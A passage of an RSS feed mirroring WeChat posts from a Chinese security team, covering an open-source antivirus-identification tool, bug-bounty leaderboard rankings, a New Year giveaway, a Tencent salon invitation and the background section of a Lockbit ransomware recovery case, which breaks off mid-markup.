text;">杀软查询系统</strong></section></section></section><p style="text-align:justify;line-height: 2.13em;"><br/></p><section><section style="line-height: 2.13em;color: rgb(63, 63, 63);text-shadow: none;" data-autoskip="1"><section style="margin-top: 10px;margin-bottom: 10px;"><p style="text-align:center;"><img class="rich_pages wxw-img" data-imgfileid="100001989" data-ratio="0.6787037037037037" style="height: 147px;width: 100%;vertical-align: baseline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bc2a884c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPJUWG1ocptguM6AN5VIQX7kOojERouRULr9SG1HP2hMEfibQRRljrb3w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></section><section><section style="line-height: 2.13em;text-shadow: none;" data-autoskip="1"><p><strong>今年团队新上线了杀软在线识别，在线地址：</strong><span style="text-decoration: underline;"><strong><a href="https://av.aabyss.cn" target="_blank">https://av.aabyss.cn</a></strong></span> </p><p><strong>项目的开源地址：</strong><span style="text-decoration:underline;"><strong><a href="https://github.com/Aabyss-Team/Antivirus-Scan" target="_blank">https://github.com/Aabyss-Team/Antivirus-Scan</a></strong></span></p><p><strong><span style="background-color: transparent;caret-color: red;">杀软识别一直是内网渗透中常见的课题，网络上也有非常多的在线杀软识别的网站；但很多在线识别的网站，都已经年久失修，许多<span style="background-color: transparent;caret-color: red;color: rgb(255, 0, 0);">新杀软无法有效准确识别</span>；本项目由PHP进行编写，并采用Json匹配的方式，放弃数据库查询从而杜绝SQL注入，并进行开源维护，更加轻量化和安全！欢迎各位师傅给我们提交PR哦~</span></strong></p><p><br/></p></section></section></section></section><section data-tools="135编辑器" data-id="154574"><section style="margin: 10px auto 10px 8px;display: flex;justify-content: flex-start;"><section><section style="width: 35px;margin-left: auto;margin-right: -5px;margin-bottom: -14px;transform: rotateY(180deg);"><img class="rich_pages wxw-img" data-imgfileid="100001986" data-ratio="0.5280898876404494" style="width: 100%;display: block;vertical-align: baseline;" data-type="png" data-w="534" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=3c55ba02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPscw1CXO1bqxjx9uxo5FwHCLTpcoT1NUcSeQDyh1tmnibwS5zCV0VA4w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;margin-right: -15px;"><section style="background-color: rgb(219, 40, 0);padding: 1px;transform: rotate(45deg);"><section style="border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);"><section style="display: flex;justify-content: space-between;"><section style="width: 4px;height: 4px;border-radius: 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, -1px);"><br/></section><section style="width: 4px;height: 4px;border-radius: 0px 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, -1px);"><br/></section></section><section style="width: 30px;height: 33px;display: flex;justify-content: center;align-items: center;margin-top: -5px;margin-bottom: -5px;transform: rotate(-45deg);"><section style="font-size: 16px;color: #fbe7bd;"><strong>0</strong><strong>3</strong></section></section><section style="display: flex;justify-content: space-between;"><section style="width: 4px;height: 4px;border-radius: 0px 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, 1px);"><br/></section><section style="width: 4px;height: 4px;border-radius: 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, 1px);"><br/></section></section></section></section></section><section style="background: linear-gradient(rgb(240, 65, 49), rgb(240, 65, 49));border-radius: 5px;padding: 7px 31px 7px 38px;"><section style="font-size: 16px;color: #fbe7bd;"><strong data-brushtype="text">平台榜单成绩</strong></section></section></section></section></section></section><section><section style="line-height: 2.13em;color: rgb(63, 63, 63);text-shadow: none;" data-autoskip="1"><p><strong>不出意外，渊龙Sec安全团队依旧在EduSRC平台上稳居团队排行榜</strong><span style="color: rgb(255, 0, 0);"><strong>总排名No.1</strong></span><strong>/</strong><span style="color: rgb(255, 0, 0);"><strong>年榜No.1</strong></span><strong>。</strong></p><section style="margin-top: 10px;margin-bottom: 10px;"><p style="text-align:center;"><img class="rich_pages wxw-img" data-imgfileid="100001988" data-ratio="0.5277777777777778" style="height: 147px;width: 100%;vertical-align: baseline;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=cff586e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPIsHKrib0kR90M5ENicAljNibhyic5un6WO3OZpcxKee9xJ7WNuhmSWuibjA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></section><section><section style="line-height: 2.13em;text-shadow: none;" data-autoskip="1"><p><strong style="background-color: transparent;caret-color: red;">同时本年度宣布一项团队内部福利政策：</strong><span style="text-decoration:underline;"><strong style="background-color: transparent;caret-color: red;">欢迎大家加入我们的EduSRC团队，EduSRC团队前50名可以</strong></span><span style="text-decoration: underline;color: rgb(255, 0, 0);"><strong style="background-color: transparent;caret-color: red;">免费获得团队内部武器资料库的使用权限</strong></span><span style="text-decoration:underline;"><strong style="background-color: transparent;caret-color: red;">！</strong></span></p><p><strong>并在年后，我们也会对EduSRC表现突出的团队成员进行<span style="color: #ff0000;">表彰公示</span>和<span style="color:#ff0000;">奖励分发</span>，让我们敬请期待！</strong></p><p><strong style="background-color: transparent;caret-color: red;">在新的一年，我们也会尝试去参加别的SRC平台，感谢各位师傅一路上的陪伴和支持！</strong></p></section></section></section></section></section></section><section style="height: 5px;border-left: 1px solid rgb(219, 40, 0);border-right: 1px solid rgb(219, 40, 0);border-bottom: 1px solid rgb(219, 40, 0);border-radius: 0px 0px 5px 5px;margin-right: 4px;margin-left: 4px;"><br/></section></section><section style="height: 5px;background-image: linear-gradient(to right, rgb(255, 255, 255), rgb(255, 255, 255));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 0px 0px 5px 5px;margin-right: 5px;margin-left: 5px;"><br/></section></section></section></section><section data-tools="135编辑器" data-id="154575"><section data-tools="135编辑器" data-id="136805" style="margin-bottom: -30px;"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="width: 90px;"><img class="rich_pages wxw-img" data-imgfileid="100001987" data-ratio="1.3053892215568863" style="width: 100%;display: block;vertical-align: baseline;" data-type="gif" data-w="167" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=65ac64cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPI16HjAIpIgOvvlt3bic7Mnd0ncwaZ4QkqouENWQs5UL9rrrflBkdZBw%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></section></section></section><section data-tools="135编辑器" data-id="154575" style="margin-top: -5px;margin-bottom: 12px;"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;margin-top: 6px;"><section style="background-color: rgb(219, 40, 0);padding: 1px;margin-right: 7px;margin-left: 7px;transform: rotate(45deg);"><section style="border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);"><section style="display: flex;justify-content: space-between;"><section style="width: 4px;height: 4px;border-radius: 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, -1px);"><br/></section><section style="width: 4px;height: 4px;border-radius: 0px 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, -1px);"><br/></section></section><section style="width: 30px;height: 33px;display: flex;justify-content: center;align-items: center;margin-top: -5px;margin-bottom: -5px;transform: rotate(-45deg);"><section style="font-size: 16px;color: #f4d89f;"><strong data-brushtype="text">春</strong></section></section><section style="display: flex;justify-content: space-between;"><section style="width: 4px;height: 4px;border-radius: 0px 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, 1px);"><br/></section><section style="width: 4px;height: 4px;border-radius: 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, 1px);"><br/></section></section></section></section></section><section><section style="font-size: 18px;color: rgb(251, 231, 189);text-align: center;line-height: 1.4em;padding-right: 12px;padding-bottom: 2px;padding-left: 12px;"><p><span style="letter-spacing: 0.5px;"><strong data-brushtype="text">新春红包来啦</strong></span></p></section><section style="width: 100%;height: 1px;border-top: 1px solid rgb(219, 40, 0);" data-width="100%"><br/></section><section style="font-size: 12px;color: rgb(244, 216, 159);text-align: center;line-height: 1.2em;padding-top: 5px;padding-right: 12px;padding-left: 12px;"><strong><span style="letter-spacing: 0.5px;" data-brushtype="text">HAPPY NEW YEAR</span></strong></section></section><section style="flex-shrink: 0;margin-top: 6px;"><section style="background-color: rgb(219, 40, 0);padding: 1px;margin-right: 7px;margin-left: 7px;transform: rotate(45deg);"><section style="border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);"><section style="display: flex;justify-content: space-between;"><section style="width: 4px;height: 4px;border-radius: 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, -1px);"><br/></section><section style="width: 4px;height: 4px;border-radius: 0px 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, -1px);"><br/></section></section><section style="width: 30px;height: 33px;display: flex;justify-content: center;align-items: center;margin-top: -5px;margin-bottom: -5px;transform: rotate(-45deg);"><section style="font-size: 16px;color: #f4d89f;"><strong data-brushtype="text">节</strong></section></section><section style="display: flex;justify-content: space-between;"><section style="width: 4px;height: 4px;border-radius: 0px 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, 1px);"><br/></section><section style="width: 4px;height: 4px;border-radius: 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, 1px);"><br/></section></section></section></section></section></section></section></section></section><section data-tools="135编辑器" data-id="154113" data-width="90%" style="width: 90%;flex: 0 0 90%;margin-left: auto;margin-right: auto;max-width: 90% !important;"><section style="margin: 10px auto;"><section><section style="height: 5px;background-image: linear-gradient(to right, rgb(255, 255, 255), rgb(255, 255, 255));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 5px 5px 0px 0px;margin-right: 5px;margin-left: 5px;"><br/></section><section style="background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 5px;padding-right: 4px;padding-left: 4px;background-color: rgb(255, 255, 255);"><section style="height: 5px;border-left: 1px solid rgb(219, 40, 0);border-right: 1px solid rgb(219, 40, 0);border-top: 1px solid rgb(219, 40, 0);border-radius: 5px 5px 0px 0px;margin-right: 4px;margin-left: 4px;"><br/></section><section style="border-right: 1px solid rgb(219, 40, 0);border-left: 1px solid rgb(219, 40, 0);border-radius: 5px;border-top: none;border-bottom: none;padding: 12px 17px;"><section style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(27, 27, 27);background-color: transparent;"><section style="margin-top: 10px;margin-bottom: 10px;"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100001997" data-ratio="1.5333333333333334" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e758b636&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibekvjm1ibWMD0mo4yxU5iaO56Rsc0c6kPyv1XaMhpib80zic788ecTUzMUMPpMbaCfG72qx1b3ibjmjV2g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></section><section><section style="line-height: 2.13em;background-color: transparent;color: rgb(63, 63, 63);text-shadow: none;" data-autoskip="1"><p style="text-align:center;"><strong>由于今年团队Logo在申请商标，做不了红包封面<img class="rich_pages wxw-img" data-ratio="1" style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" data-w="128" src="https://wechat2rss.xlab.app/img-proxy/?k=f58d7528&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fv1.3.10%2Fassets%2FExpression%2FExpression_6%402x.png"/></strong></p><p style="text-align:center;"><strong><span style="font-family:mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="caret-color: rgb(255, 0, 0);">但我们团队给大家带来了现金新春红包！<img class="rich_pages wxw-img" data-ratio="1" style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" data-w="128" src="https://wechat2rss.xlab.app/img-proxy/?k=9049d882&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fv1.3.10%2Fassets%2FExpression%2FExpression_43%402x.png"/></span></span></strong></p><p style="text-align:center;"><strong><span style="font-family:mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="caret-color: rgb(255, 0, 0);">限量500个新春红包，先到先得~<img class="rich_pages wxw-img" data-ratio="1" style="display:inline-block;width:20px;vertical-align:middle;background-size:cover;" data-w="128" src="https://wechat2rss.xlab.app/img-proxy/?k=7fe6f348&amp;u=https%3A%2F%2Fres.wx.qq.com%2Ft%2Fwx_fed%2Fwe-emoji%2Fres%2Fv1.3.10%2Fassets%2Fnewemoji%2F2_04.png"/></span></span></strong></p></section></section></section></section><section style="height: 5px;border-left: 1px solid rgb(219, 40, 0);border-right: 1px solid rgb(219, 40, 0);border-bottom: 1px solid rgb(219, 40, 0);border-radius: 0px 0px 5px 5px;margin-right: 4px;margin-left: 4px;"><br/></section></section><section style="height: 5px;background-image: linear-gradient(to right, rgb(255, 255, 255), rgb(255, 255, 255));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 0px 0px 5px 5px;margin-right: 5px;margin-left: 5px;"><br/></section></section></section></section><section style="line-height: 27.2px;"><p><br/></p></section><section data-tools="135编辑器" data-id="154539"><section style="margin-top: 15px;margin-bottom: -10px;"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="background-color: rgb(219, 40, 0);padding: 1px;transform: rotate(45deg);"><section style="border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);"><section style="display: flex;justify-content: space-between;"><section style="width: 4px;height: 4px;border-radius: 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, -1px);"><br/></section><section style="width: 4px;height: 4px;border-radius: 0px 0px 0px 25px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, -1px);"><br/></section></section><section style="width: 38px;height: 41px;display: flex;justify-content: center;align-items: center;margin-top: -5px;margin-bottom: -5px;transform: rotate(-45deg);"><section style="font-size: 16px;color: #f4d89f;"><strong data-brushtype="text">END</strong></section></section><section style="display: flex;justify-content: space-between;"><section style="width: 4px;height: 4px;border-radius: 0px 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(-1px, 1px);"><br/></section><section style="width: 4px;height: 4px;border-radius: 25px 0px 0px;border-width: 1px;border-style: solid;border-color: rgb(251, 231, 189);transform: translate(1px, 1px);"><br/></section></section></section></section></section></section></section><section style="line-height: 27.2px;"><p><br/></p></section><section data-tools="135编辑器" data-id="154538"><section style="margin-bottom: -15px;"><section style="margin: 10px auto;"><section style="display: flex;justify-content: center;margin-bottom: 10px;"><section style="flex-shrink: 0;"><section style="width: 100%;height: 1px;border-bottom: 1px solid rgb(219, 40, 0);margin-top: 15px;" data-width="100%"><br/></section><section style="width: 35px;margin-right: 5px;margin-left: 5px;"><img class="rich_pages wxw-img" data-imgfileid="100001993" data-ratio="1.8941176470588235" style="width: 100%;display: block;vertical-align: baseline;" data-type="gif" data-w="255" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=c16ef756&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPP0ysypd5sGZ5H49MkcmdtBmsnDNe3ZZtAbQicSrgpsKR0M9FmBBQJicSA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></section></section><section style="background-image: linear-gradient(rgb(240, 65, 49), rgb(219, 40, 0));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding-top: 15px;"><section style="width: 100%;height: 1px;border-top: 1px solid rgb(219, 40, 0);" data-width="100%"><br/></section><section style="padding: 10px 20px 20px;"><section style="width: 115px;"><img class="rich_pages wxw-img" data-imgfileid="100001991" data-ratio="1" style="width: 100%;display: block;vertical-align: baseline;" data-type="png" data-w="430" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=dcbb18a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPwEhlLrVZzaxyrpr2AcHQI2rdAaQEbzaRDFoY3gK4ibVYjrYyTgMWQGA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section><section style="flex-shrink: 0;"><section style="width: 100%;height: 1px;border-bottom: 1px solid rgb(219, 40, 0);margin-top: 15px;" data-width="100%"><br/></section><section style="width: 35px;margin-right: 5px;margin-left: 5px;"><img class="rich_pages wxw-img" data-imgfileid="100001992" data-ratio="1.8823529411764706" style="width: 100%;display: block;vertical-align: baseline;" data-type="gif" data-w="255" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=55375a66&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FfiajytAx7IbcicbX1uvxlwRnNJEtgpibLPPn5twia23f5bNYlCefrZNfDpDSNsGZmiant1Az7JpRCfWPoYYBjicWyXbQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></section></section></section><section style="font-size: 16px;color: #f4d89f;text-align: center;line-height: 1.2em;"><strong data-brushtype="text"><p>祥蛇献瑞 巳巳如意</p></strong></section></section></section></section><section style="line-height: 27.2px;"><p><br/></p></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485646">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4e605700&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485646%26idx%3D1%26sn%3D3d22f63d3e8153286e1ae1195bcac411%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 28 Jan 2025 17:37:00 +0800</pubDate>
    </item>
    <item>
      <title>相约江夏·智汇攻防，武汉站走起~</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485612&amp;idx=1&amp;sn=c6a717a5a10be174080837f90b14295e</link>
      <description>欢迎大家前来腾讯安全沙龙（武汉站），本次笔者也会带来议题《APT视角下的攻防实践》，感谢腾讯安全云鼎实验室的筹备，和各位师傅多多交流和学习哈哈~&#xA;想要参加的师傅可以扫第二张邀请函的二维码，咋们武汉见！</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2024-12-14 13:27</span> <span style="display: inline-block;">广东</span>
</p>

<p>欢迎大家前来腾讯安全沙龙（武汉站），本次笔者也会带来议题《APT视角下的攻防实践》，感谢腾讯安全云鼎实验室的筹备，和各位师傅多多交流和学习哈哈~</p>
<p>想要参加的师傅可以扫第二张邀请函的二维码，咋们武汉见！</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=610da30a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibdyic9KIicg9abVZCP0ZrSyH36ofj1YiaRfdDmTfyLkpdibKceCz2mDx9oDZfQMyn5X5nsBlGicdksQpCg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div id="js_image_content" class="image_content "><h1 class="rich_media_title ">相约江夏·智汇攻防，武汉站走起~</h1>    <!----> <!----> <!----> <div class="wx_album_area js_album_wrap " style=""></div> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary "><!----></div></div> </div>


<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_jpg/fiajytAx7Ibdyic9KIicg9abVZCP0ZrSyH3VuqiaalPTBrhQUWibHJc3r8OVUibbh2AYmBrR2DIYVJicWZTiaWtQSZoN9g/0?wx_fmt=jpeg"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_jpg/fiajytAx7Ibdyic9KIicg9abVZCP0ZrSyH3GnYtlInorTTrXhHmTgtKhe7bicSfGbkTPVNj1Dp0W31UPc457iaGHCng/0?wx_fmt=jpeg"/></p>




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e8f14fa9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485612%26idx%3D1%26sn%3Dc6a717a5a10be174080837f90b14295e%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 14 Dec 2024 13:27:00 +0800</pubDate>
    </item>
    <item>
      <title>【成功案例】Lockbit家族百万赎金不必付！技术手段修复被加密的数据库，附溯源分析报告</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485599&amp;idx=1&amp;sn=e85f53946349d2e6bd93baf11c9e2505</link>
      <description>对于勒索病毒的解密工作，一直是业内的难题！&#xD;&#xA;今天渊龙Sec安全团队给各位师傅揭露面对勒索病毒解密细节的同时，也介绍了一下兄弟团队~</description>
      <content:encoded><![CDATA[<p>
<span>索勒安全团队</span> <span>2024-11-29 10:30</span> <span style="display: inline-block;">广东</span>
</p>

<p>对于勒索病毒的解密工作，一直是业内的难题！</p>
<p>今天渊龙Sec安全团队给各位师傅揭露面对勒索病毒解密细节的同时，也介绍了一下兄弟团队~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ee7bc304&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbeLbRCrMx202JSLxmsSuzr2I1yOfQNNBHkKjQA1IH5mruSiaVicyxZr6tmicg5DhqXz1gcWL74gibQLZw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;text-align: left;"><h1 data-tool="mdnice编辑器" style="border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding-top: 12px;padding-bottom: 12px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));">1.背景</span></h1><h2 data-tool="mdnice编辑器" style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(251, 251, 251);margin-top: 30px;margin-bottom: 15px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 20px;color: rgb(255, 255, 255);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(33, 33, 34);line-height: 2.4em;letter-spacing: 0em;padding-left: 15px;padding-right: 30px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px 0px 40px;align-items: unset;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">1.1 事件背景</span><span style="display: none;"></span></h2><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">11月2日，某科技公司紧急联系我司团队求助，称其公司共有20余台服务器被勒索病毒加密。通过勒索信中提供的TOX（即时通讯软件），该公司尝试与黑客取得联系并展开谈判，在首次谈判中，当用户询问赎金费用时，黑客开出了<strong>20万美元（约合150万元人民币）</strong>的要价。</section><p><img class="rich_pages wxw-img" data-height="780" data-imgfileid="100010313" data-ratio="0.30462962962962964" data-width="2562" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=093d5bba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakiaoX5lV4EsewibNYfkL9VhMxM1J72uf6Lyw0rvnz48fj0ibYacibbG8RAw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">该赎金费用远远超出用户的预算，因此用户再次询问单个ID的恢复费用是否与恢复所有ID的费用一致。黑客的回复是，恢复所有ID的费用为<strong>20万美元（约合150万元人民币）</strong>，而恢复单个ID的费用为<strong>15万美元（约合100万元人民币）</strong>。</section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100010318" data-ratio="0.18518518518518517" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4e25cd8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakTPLKtcuwCmxXeDgCHc4zaU4SiasPrhO6fGHJBwtYksSMzB7JZryUTkQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span style="letter-spacing: 0em;text-align: justify;text-indent: 2em;word-spacing: 0em;">然而，尽管用户尝试与黑客沟通并表达了经济困难，但黑客并未作出任何回应，且明确表示<strong>15万美元</strong>的赎金费用为最终报价，拒绝接受任何降价方案。</span><span style="letter-spacing: 0em;word-spacing: 0em;text-align: justify;text-indent: 2em;">由于该赎金金额远远超出了公司的承受范围，且无法确保支付赎金后数据能够成功恢复，公司决定不再与黑客继续交涉，而是转向寻求我司的专业技术支持，希望通过技术手段恢复数据，确保业务能够尽快恢复正常。</span><p><img class="rich_pages wxw-img" data-height="1526" data-imgfileid="100010315" data-ratio="0.3731481481481482" data-width="4092" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=36eeeaae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakmjFCffm5T5bxVpxBdJlxPFvY9RTN8ZYFuBc6S5uLs6IkzQ1FXYzOiag%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p><span style="letter-spacing: 0em;word-spacing: 0em;text-indent: 2em;"></span><span data-lark-record-format="docx/record"></span></p></figure><h2 data-tool="mdnice编辑器" style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(251, 251, 251);margin-top: 30px;margin-bottom: 15px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 20px;color: rgb(255, 255, 255);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(33, 33, 34);line-height: 